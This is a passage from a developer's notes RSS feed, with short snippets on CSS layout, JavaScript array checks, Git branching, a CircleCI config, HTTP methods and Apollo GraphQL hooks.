&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents animated scrolling when users have specified that they’d prefer reduced motion.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://developer.mozilla.org/en-US/docs/Web/CSS/scroll-behavior&quot;&gt;Read more on MDN&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Usage with JavaScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Scroll to specific values
// scrollTo is the same
window.scroll({
  top: 2500,
  left: 0,
  behavior: &apos;smooth&apos;,
})

// Scroll certain amounts from current position
window.scrollBy({
  top: 100, // could be negative value
  left: 0,
  behavior: &apos;smooth&apos;,
})

// Scroll to a certain element
document.querySelector(&apos;.hello&apos;).scrollIntoView({
  behavior: &apos;smooth&apos;,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://css-tricks.com/snippets/jquery/smooth-scrolling/&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Check if JavaScript array is empty</title><link>https://zander.wtf/notes/check-if-js-array-empty/</link><guid isPermaLink="true">https://zander.wtf/notes/check-if-js-array-empty/</guid><description>You want to do the check for undefined first. If you do it the other way round, it will generate an error if the array is undefined. The foolproof approach…</description><pubDate>Wed, 06 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You want to do the check for &lt;code&gt;undefined&lt;/code&gt; first. If you do it the other way round, it will generate an error if the array is undefined.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (array === undefined || array.length == 0) {
  // array empty or does not exist
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;The foolproof approach&lt;/h4&gt;
&lt;p&gt;This takes into account that the variable might not refer to an array, but to some other type of object with a length property.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!Array.isArray(array) || !array.length) {
  // array does not exist, is not an array, or is empty
  // ⇒ do not attempt to process array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;The pragmatic approach&lt;/h4&gt;
&lt;p&gt;In a lot of cases, the above might seem like overkill. Maybe you&apos;re using a higher order language like TypeScript that does most of the type-checking for you at compile-time, or you really don&apos;t care whether the object is actually an array, or just array-like.&lt;/p&gt;
&lt;p&gt;In those cases, I tend to go for the following, more idiomatic JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!array || !array.length) {
  // array or array.length are falsy
  // ⇒ do not attempt to process array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, more frequently, its inverse:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (array &amp;amp;&amp;amp; array.length) {
  // array and array.length are truthy
  // ⇒ probably OK to process array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the introduction of the optional chaining operator (Elvis operator) in ECMAScript 2020, this can be shortened even further:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!array?.length) {
  // array or array.length are falsy
  // ⇒ do not attempt to process array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or the opposite:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (array?.length) {
  // array and array.length are truthy
  // ⇒ probably OK to process array
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From &lt;a href=&quot;https://stackoverflow.com/a/24403771/91359&quot;&gt;this&lt;/a&gt; brilliant Stack Overflow answer.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Make a button element look like a link</title><link>https://zander.wtf/notes/button-as-link/</link><guid isPermaLink="true">https://zander.wtf/notes/button-as-link/</guid><description>See the Pen{&apos; &apos;} Quick Tip: Link Button {&apos; &apos;} by Andy Bell ( @andybelldesign ) on CodePen . ℹ️ It is worth noting that buttons cannot look exactly like an…</description><pubDate>Mon, 04 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.link-button {
  display: inline;
  padding: 0;
  border: 0;
  font: inherit;
  cursor: pointer;
  background: transparent;
  color: currentColor;
  -webkit-appearance: none;
  text-decoration: underline;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe
height=&quot;265&quot;
style=&quot;width: 100%;&quot;
scrolling=&quot;no&quot;
title=&quot;Quick Tip: Link Button&quot;
src=&quot;https://codepen.io/andybelldesign/embed/xxZzEgy?height=265&amp;amp;theme-id=light&amp;amp;default-tab=css,result&quot;
frameborder=&quot;no&quot;
loading=&quot;lazy&quot;
allowtransparency=&quot;true&quot;
allowfullscreen=&quot;true&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;See the Pen{&apos; &apos;}
&amp;lt;a href=&quot;https://codepen.io/andybelldesign/pen/xxZzEgy&quot;&amp;gt;
Quick Tip: Link Button
&amp;lt;/a&amp;gt;{&apos; &apos;}
by Andy Bell (&amp;lt;a href=&quot;https://codepen.io/andybelldesign&quot;&amp;gt;@andybelldesign&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;ℹ️ It is worth noting that &lt;code&gt;button&lt;/code&gt;s cannot look exactly like an &lt;code&gt;a&lt;/code&gt; element because browsers override the &lt;code&gt;display&lt;/code&gt; property and force it to act like &lt;code&gt;display: inline-block&lt;/code&gt; despite what you define. The one exception is &lt;code&gt;display: contents&lt;/code&gt; but there are quite a few catches with that property; more alarmingly, that the element semantics are completely removed which is a nightmare for accessibility. Read more about it here: https://www.scottohara.me/blog/2018/10/03/unbutton-buttons.html&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Aspect ratio</title><link>https://zander.wtf/notes/css-aspect-ratio/</link><guid isPermaLink="true">https://zander.wtf/notes/css-aspect-ratio/</guid><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;/* Old, hacky way */
.parent {
  padding-top: 56.25%;
}

/* New, cool way */
.parent {
  aspect-ratio: 16 / 9;

  /* or for square things */
  aspect-ratio: 1 / 1;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Scroll-margin-top</title><link>https://zander.wtf/notes/css-scroll-margin-top/</link><guid isPermaLink="true">https://zander.wtf/notes/css-scroll-margin-top/</guid><description>You know that annoying thing where you jump to an anchor and the site&apos;s sticky header covers it up? In Tailwind, use a scroll-mt- utility: Or use an…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You know that annoying thing where you jump to an anchor and the site&apos;s sticky header covers it up?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.heading {
  scroll-margin-top: 72px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Tailwind, use a &lt;code&gt;scroll-mt-*&lt;/code&gt; utility:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 id=&quot;section&quot; class=&quot;scroll-mt-16&quot;&amp;gt;Section heading&amp;lt;/h2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or use an arbitrary value to match your header height exactly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 id=&quot;section&quot; class=&quot;scroll-mt-[72px]&quot;&amp;gt;Section heading&amp;lt;/h2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browser support: Works natively in Chrome, FF, Edge, Opera. Supported in Safari, but with a non-standard property, &lt;code&gt;scroll-snap-margin-top&lt;/code&gt;.&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Cypress</title><link>https://zander.wtf/notes/cypress/</link><guid isPermaLink="true">https://zander.wtf/notes/cypress/</guid><description>CI https://docs.cypress.io/guides/guides/continuous-integration.html#Setting-up-CI Resources…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;CI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://docs.cypress.io/guides/guides/continuous-integration.html#Setting-up-CI&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://dev.to/bahmutov/12-recipes-for-testing-react-applications-using-cypress-react-unit-test-46g6&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>testing</category><author>Zander Martineau</author></item><item><title>Git branching strategies</title><link>https://zander.wtf/notes/git-branching/</link><guid isPermaLink="true">https://zander.wtf/notes/git-branching/</guid><description>Different branching strategies GitFlow Please stop recommending Git Flow! ThreeFlow Trunk Based Development GitHub flow Git DMZ GitHub flow Anything in the…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Different branching strategies&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvie.com/posts/a-successful-git-branching-model/&quot;&gt;GitFlow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://georgestocker.com/2020/03/04/please-stop-recommending-git-flow/&quot;&gt;Please stop recommending Git Flow!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nomachetejuggling.com/2017/04/09/a-different-branching-strategy/&quot;&gt;ThreeFlow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trunkbaseddevelopment.com/&quot;&gt;Trunk Based Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://scottchacon.com/2011/08/31/github-flow.html&quot;&gt;GitHub flow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/djspiewak/9f2f91085607a4859a66&quot;&gt;Git DMZ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;GitHub flow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Anything in the &quot;main&quot; branch is deployable&lt;/li&gt;
&lt;li&gt;To work on something new, create a descriptively named branch off of &lt;code&gt;master&lt;/code&gt;/&lt;code&gt;main&lt;/code&gt; (ie: &lt;code&gt;new-oauth2-scopes&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Commit to that branch locally and regularly push your work to the same named branch on the server&lt;/li&gt;
&lt;li&gt;When you need feedback or help, or you think the branch is ready for merging, open a pull request&lt;/li&gt;
&lt;li&gt;After someone else has reviewed and signed off on the feature, you can merge it into master&lt;/li&gt;
&lt;li&gt;Once it is merged and pushed to ‘master’, you can and should deploy immediately&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>git</category><author>Zander Martineau</author></item><item><title>The “Lobotomised Owl” Selector</title><link>https://zander.wtf/notes/lobotomised-owl-selector/</link><guid isPermaLink="true">https://zander.wtf/notes/lobotomised-owl-selector/</guid><description>It may have a strange name but using the universal selector () with the adjacent sibling selector (+) can provide a powerful CSS capability: In this…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It may have a strange name but using the universal selector (&lt;code&gt;*&lt;/code&gt;) with the adjacent sibling selector (&lt;code&gt;+&lt;/code&gt;) can provide a powerful CSS capability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* + * {
  margin-top: 1.5em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, all elements in the flow of the document that follow other elements will receive &lt;code&gt;margin-top: 1.5em&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For more on the &quot;lobotomised owl&quot; selector, read &lt;a href=&quot;http://alistapart.com/article/axiomatic-css-and-lobotomized-owls&quot;&gt;Heydon Pickering&apos;s post&lt;/a&gt; on &lt;em&gt;A List Apart&lt;/em&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;a href=&quot;http://codepen.io/AllThingsSmitty/pen/grRvWq&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;
&lt;h2&gt;Flow space utility&lt;/h2&gt;
&lt;p&gt;The flow utility provides flow and rhythm between direct sibling elements. Where &lt;code&gt;--flow-space&lt;/code&gt; is not defined: the default value is &lt;code&gt;1em&lt;/code&gt;, which equals the font size of the affected element.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.flow &amp;gt; * + * {
  margin-top: var(--flow-space, 1em);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By defining &lt;code&gt;--flow-space&lt;/code&gt; in the CSS of either a child element of &lt;code&gt;.flow&lt;/code&gt;, or on &lt;code&gt;.flow&lt;/code&gt; itself: that value will be honoured in line with the cascade and specificity.&lt;/p&gt;
&lt;p&gt;For example: if you set &lt;code&gt;--flow-space: 3rem&lt;/code&gt; on the third element inside of a &lt;code&gt;.flow&lt;/code&gt; container: only that element will have a 3rem top margin.&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe
height=&quot;265&quot;
style=&quot;width: 100%;&quot;
scrolling=&quot;no&quot;
title=&quot;Flow utility&quot;
src=&quot;https://codepen.io/andybelldesign/embed/OJXEWyO?height=265&amp;amp;theme-id=light&amp;amp;default-tab=css,result&quot;
frameborder=&quot;no&quot;
loading=&quot;lazy&quot;
allowtransparency=&quot;true&quot;
allowfullscreen=&quot;true&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;See the Pen{&apos; &apos;}
&amp;lt;a href=&quot;https://codepen.io/andybelldesign/pen/OJXEWyO&quot;&amp;gt;Flow utility&amp;lt;/a&amp;gt; by
Andy Bell (&amp;lt;a href=&quot;https://codepen.io/andybelldesign&quot;&amp;gt;@andybelldesign&amp;lt;/a&amp;gt;) on{&apos; &apos;}
&amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Showing/hiding content</title><link>https://zander.wtf/notes/showing-hiding-content/</link><guid isPermaLink="true">https://zander.wtf/notes/showing-hiding-content/</guid><description>Hide from all users or by using the hidden attribute Visually hidden ..but still accessible to assistive technologies. The :not portions of the selector…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Hide from all users&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;a {
  display: none;
  /* or */
  visibility: hidden;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or by using the &lt;code&gt;hidden&lt;/code&gt; attribute&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div hidden /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Visually hidden&lt;/h2&gt;
&lt;p&gt;..but still accessible to assistive technologies.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;:not&lt;/code&gt; portions of the selector are allowing a means for any focusable element to become visible when focused/active by a user. So elements that normally can’t receive focus, like paragraphs, will not become visible if a user navigates through content via screen reader controls or the Tab key, but natively focusable elements, or elements with a non-negative tabindex will have these elements appear in the DOM on focus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;/* ie9+ */
.visually-hidden:not(:focus):not(:active) {
  clip: rect(0 0 0 0);
  clip-path: inset(50%);
  height: 1px;
  overflow: hidden;
  position: absolute;
  white-space: nowrap;
  width: 1px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you need to visually hide everything, including focusable elements, remove &lt;code&gt;:not(:focus)&lt;/code&gt; from the selector.&lt;/p&gt;
&lt;h2&gt;Hide from assistive technology&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;aria-hidden=&quot;true&quot;&lt;/code&gt; attribute produces the opposite effect of the &lt;code&gt;.visually-hidden&lt;/code&gt; class. It hides content from assistive technology, but not visually. This can be helpful in cases where there are visual cues that screen readers do not need to announce, such as decorative icons that accompany text labels.&lt;/p&gt;
&lt;h2&gt;Useful links:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.scottohara.me/blog/2017/04/14/inclusively-hidden.html&lt;/li&gt;
&lt;li&gt;https://www.a11yproject.com/posts/2013-01-11-how-to-hide-content&lt;/li&gt;
&lt;li&gt;https://webaim.org/techniques/css/invisiblecontent&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>html</category><category>css</category><author>Zander Martineau</author></item><item><title>Test structure</title><link>https://zander.wtf/notes/test-structure/</link><guid isPermaLink="true">https://zander.wtf/notes/test-structure/</guid><description>https://gist.github.com/mrmartineau/84b2979d428b7581c65786f032f96a62 https://www.reddit.com/r/node/comments/fp7vqk/howdoyoustructureyourtestsinasuite/…</description><pubDate>Tue, 29 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;https://gist.github.com/mrmartineau/84b2979d428b7581c65786f032f96a62&lt;/p&gt;
&lt;p&gt;https://www.reddit.com/r/node/comments/fp7vqk/how_do_you_structure_your_tests_in_a_suite/&lt;/p&gt;
&lt;p&gt;https://twitter.com/goldbergyoni/status/1243153689734533120&lt;/p&gt;
</content:encoded><category>testing</category><author>Zander Martineau</author></item><item><title>CircleCI</title><link>https://zander.wtf/notes/circleci/</link><guid isPermaLink="true">https://zander.wtf/notes/circleci/</guid><description>Basic example Using the CircleCI tool locally</description><pubDate>Wed, 04 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;version: 2

references:
  npm_auth: &amp;amp;npm_auth
    run:
      name: Authenticate with registry
      command: echo &quot;//registry.npmjs.org/:_authToken=$NPM_TOKEN&quot; &amp;gt; ~/.npmrc

jobs:
  build:
    docker:
      - image: circleci/node:13.1.0-stretch
    steps:
      - checkout
      - *npm_auth
      - restore_cache: # special step to restore the dependency cache
          # Read about caching dependencies: https://circleci.com/docs/2.0/caching/
          key: dependency-cache-{{ checksum &quot;yarn.lock&quot; | escape }}
      - run:
          name: install
          command: yarn install
      - save_cache: # special step to save the dependency cache
          key: dependency-cache-{{ checksum &quot;yarn.lock&quot; | escape }}
          paths:
            - ./node_modules
      - run:
          name: build
          command: yarn build
      - run:
          name: test
          command: yarn test
  deploy-chromatic:
    docker:
      - image: circleci/node:lts
    steps:
      - checkout
      - *npm_auth
      - attach_workspace:
          at: .
      - run:
          name: &apos;Trigger Chromatic release&apos;
          command: |
            if [ &quot;${CIRCLE_BRANCH}&quot; != &quot;master&quot; ];
            then
              yarn chromatic:ci -a $CHROMATIC_PROJECT_TOKEN --exit-zero-on-changes --exit-once-uploaded
            else
              # We know any changes that make it to master *must* have been accepted
              yarn chromatic:ci -a $CHROMATIC_PROJECT_TOKEN --exit-once-uploaded --auto-accept-changes
            fi

workflows:
  version: 2
  build-test:
    jobs:
      - build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using the CircleCI tool locally&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# run a particular job locally
circleci local execute --job build -e NPM_TOKEN=9e012519-aba7-4372-8381-abcdefghijkl

# validate a config locally
circleci config validate
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>devops</category><author>Zander Martineau</author></item><item><title>iOS Safari bug</title><link>https://zander.wtf/notes/ios-safari-height-bug/</link><guid isPermaLink="true">https://zander.wtf/notes/ios-safari-height-bug/</guid><description>This solves the popular problem when 100vh doesn’t fit the mobile browser screen.</description><pubDate>Sun, 13 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This solves the popular problem when 100vh doesn’t fit the mobile browser screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  height: 100vh;
  // or
  min-height: 100vh;
}

@supports (-webkit-touch-callout: none) {
  body {
    height: -webkit-fill-available;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>SSR</title><link>https://zander.wtf/notes/react-ssr/</link><guid isPermaLink="true">https://zander.wtf/notes/react-ssr/</guid><description>Use this to check if window is defined Useful libraries when working with SSR: https://github.com/react-corekit/use-where</description><pubDate>Sun, 06 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Use this to check if &lt;code&gt;window&lt;/code&gt; is defined&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const windowGlobal = typeof window !== &apos;undefined&apos; &amp;amp;&amp;amp; window
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful libraries when working with SSR:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/react-corekit/use-where&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>HTTP Methods</title><link>https://zander.wtf/notes/http-methods/</link><guid isPermaLink="true">https://zander.wtf/notes/http-methods/</guid><description>HTTP defines a set of request methods to indicate the desired action to be performed for a given resource. Although they can also be nouns, these request…</description><pubDate>Wed, 12 Aug 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;HTTP&lt;/code&gt; defines a set of request methods to indicate the desired action to be performed for a given resource. Although they can also be nouns, these request methods are sometimes referred to as &lt;code&gt;HTTP&lt;/code&gt; verbs. Each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable.&lt;/p&gt;
&lt;h2&gt;GET&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;GET&lt;/code&gt; method requests a representation of the specified resource. Requests using &lt;code&gt;GET&lt;/code&gt; should only retrieve data.&lt;/p&gt;
&lt;h2&gt;HEAD&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;HEAD&lt;/code&gt; method asks for a response identical to that of a &lt;code&gt;GET&lt;/code&gt; request, but without the response body.&lt;/p&gt;
&lt;h2&gt;POST&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;POST&lt;/code&gt; method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server.&lt;/p&gt;
&lt;h2&gt;PUT&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;PUT&lt;/code&gt; method replaces all current representations of the target resource with the request payload.&lt;/p&gt;
&lt;h2&gt;DELETE&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;DELETE&lt;/code&gt; method deletes the specified resource.&lt;/p&gt;
&lt;h2&gt;CONNECT&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;CONNECT&lt;/code&gt; method establishes a tunnel to the server identified by the target resource.&lt;/p&gt;
&lt;h2&gt;OPTIONS&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;OPTIONS&lt;/code&gt; method is used to describe the communication options for the target resource.&lt;/p&gt;
&lt;h2&gt;TRACE&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;TRACE&lt;/code&gt; method performs a message loop-back test along the path to the target resource.&lt;/p&gt;
&lt;h2&gt;PATCH&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;PATCH&lt;/code&gt; method is used to apply partial modifications to a resource.&lt;/p&gt;
</content:encoded><category>networking</category><author>Zander Martineau</author></item><item><title>Get selected text</title><link>https://zander.wtf/notes/get-selected-text/</link><guid isPermaLink="true">https://zander.wtf/notes/get-selected-text/</guid><pubDate>Tue, 04 Aug 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;document.onselectionchange = () =&amp;gt; {
  const text = document.getSelection().toString()
  console.log(text)
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Apollo GraphQL</title><link>https://zander.wtf/notes/apollo-graphql/</link><guid isPermaLink="true">https://zander.wtf/notes/apollo-graphql/</guid><description>Queries Queries docs useQuery hook useQuery Docs Example component Mutations Mutations docs Queries enable clients to fetch data, but not to modify data.…</description><pubDate>Thu, 25 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Queries&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/data/queries/&quot;&gt;Queries docs&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import gql from &apos;graphql-tag&apos;

const GET_DOGS = gql`
  {
    dogs {
      id
      breed
    }
  }
`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useQuery hook&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/api/react-hooks/#usequery&quot;&gt;useQuery Docs&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useQuery } from &apos;@apollo/react-hooks&apos;

const { data, loading, error } = useQuery(GET_DOGS)

// useQuery with a `variable`
const { data, loading, error } = useQuery(GET_DOG_PHOTO, {
  variables: { breed },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example component&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const Dogs = ({ onDogSelected }) =&amp;gt; {
  const { data, loading, error } = useQuery(GET_DOGS)

  if (loading) {
    return &amp;lt;Loader /&amp;gt;
  }

  if (error) {
    return &amp;lt;p&amp;gt;Error {JSON.stringify(error, null, 2)}&amp;lt;/p&amp;gt;
  }

  return (
    &amp;lt;select name=&quot;dog&quot; onChange={onDogSelected}&amp;gt;
      {data.dogs.map((dog) =&amp;gt; (
        &amp;lt;option key={dog.id} value={dog.breed}&amp;gt;
          {dog.breed}
        &amp;lt;/option&amp;gt;
      ))}
    &amp;lt;/select&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mutations&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/data/mutations/&quot;&gt;Mutations docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Queries enable clients to fetch data, but not to modify data. To enable clients to modify data, our schema needs to define some mutations.&lt;/p&gt;
&lt;h3&gt;useMutation hook&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/api/react-hooks/#usemutation&quot;&gt;useMutation Docs&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useMutation } from &apos;@apollo/react-hooks&apos;

const [addTodo, { data, loading, error }] = useMutation(ADD_TODO)

// usage
addTodo({ variables: { type: &apos;some value&apos; } })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example component&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import gql from &apos;graphql-tag&apos;
import { useMutation } from &apos;@apollo/react-hooks&apos;

const ADD_TODO = gql`
  mutation AddTodo($type: String!) {
    addTodo(type: $type) {
      id
      type
    }
  }
`

const AddTodo = () =&amp;gt; {
  let input
  const [addTodo, { data }] = useMutation(ADD_TODO)

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;form
        onSubmit={(e) =&amp;gt; {
          e.preventDefault()
          addTodo({ variables: { type: input.value } })
          input.value = &apos;&apos;
        }}
      &amp;gt;
        &amp;lt;input
          ref={(node) =&amp;gt; {
            input = node
          }}
        /&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Add Todo&amp;lt;/button&amp;gt;
      &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Updating the cache&lt;/h3&gt;
&lt;p&gt;If a mutation modifies multiple entities, or if it creates or deletes entities, the Apollo Client cache is not automatically updated to reflect the result of the mutation. To resolve this, your call to &lt;code&gt;useMutation&lt;/code&gt; can include an &lt;strong&gt;update function&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The purpose of an update function is to modify your &lt;em&gt;cached&lt;/em&gt; data to match the modifications that a mutation makes to your &lt;em&gt;back-end&lt;/em&gt; data. In the example in Executing a mutation, the update function for the &lt;code&gt;ADD_TODO&lt;/code&gt; mutation should add the same item to our cached version of the to-do list.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const GET_TODOS = gql`
  query GetTodos {
    todos
  }
`

const AddTodo = () =&amp;gt; {
  let input
  const [addTodo] = useMutation(ADD_TODO, {
    update(cache, { data: { addTodo } }) {
      const { todos } = cache.readQuery({ query: GET_TODOS })
      cache.writeQuery({
        query: GET_TODOS,
        data: { todos: todos.concat([addTodo]) },
      })
    },
  })

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;form
        onSubmit={(e) =&amp;gt; {
          e.preventDefault()
          addTodo({ variables: { type: input.value } })
          input.value = &apos;&apos;
        }}
      &amp;gt;
        &amp;lt;input
          ref={(node) =&amp;gt; {
            input = node
          }}
        /&amp;gt;
        &amp;lt;button type=&quot;submit&quot;&amp;gt;Add Todo&amp;lt;/button&amp;gt;
      &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fragments&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/data/fragments/&quot;&gt;Fragments docs&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fragment NameParts on Person {
  firstName
  lastName
}

query GetPerson {
  people(id: &quot;7&quot;) {
    ...NameParts
    avatar(size: LARGE)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resolvers&lt;/h2&gt;
&lt;p&gt;Resolvers provide the instructions for turning a GraphQL operation (a query, mutation, or subscription) into data. They either return the same type of data we specify in our schema or a promise for that data.&lt;/p&gt;
&lt;p&gt;Before we can start writing resolvers, we need to learn more about what a resolver function looks like. Resolver functions accept four arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fieldName: (parent, args, context, info) =&amp;gt; data
